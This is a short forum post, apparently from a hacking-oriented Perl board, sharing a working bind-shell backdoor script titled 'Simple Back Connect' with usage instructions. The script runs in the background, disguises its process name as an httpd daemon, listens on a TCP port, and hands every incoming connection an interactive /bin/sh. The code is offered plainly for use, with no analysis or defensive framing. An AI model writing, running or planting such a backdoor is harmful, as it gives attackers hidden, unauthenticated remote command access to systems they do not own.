Simple Back Connect

Discussion in 'Perl' started by Joel Grant, '.

  1. Joel Grant

    Joel Grant New Member

    Messages:
    4
    Simple Back Connect
    Code:
    #!/usr/bin/perl -w
    #whereis perl
    $SHELL="/bin/sh -i";
    $port = 51299;
    $port = $ARGV[0] if $ARGV[0];
    exit if fork;
    $0 = "/usr/local/sbin/httpd" . " " x100;
    if (@ARGV < 1) { exit(1); }
    $LISTEN_PORT=$ARGV[0];
    use Socket;
    $protocol=getprotobyname('tcp');
    socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
    setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
    bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
    listen(S,3) || die "Cant listen port\n";
    while(1)
    {
    accept(CONN,S);
    if(!($pid=fork))
    {
    die "Cannot fork" if (!defined $pid);
    open STDIN,"<&CONN";
    open STDOUT,">&CONN";
    open STDERR,">&CONN";
    exec $SHELL || die print CONN "Cant execute $SHELL\n";
    close CONN;
    exit 0;
    }
    }
    save file on *.pl extenstion

    Use : > Perl filename.pl <port>

    Easy

Share This Page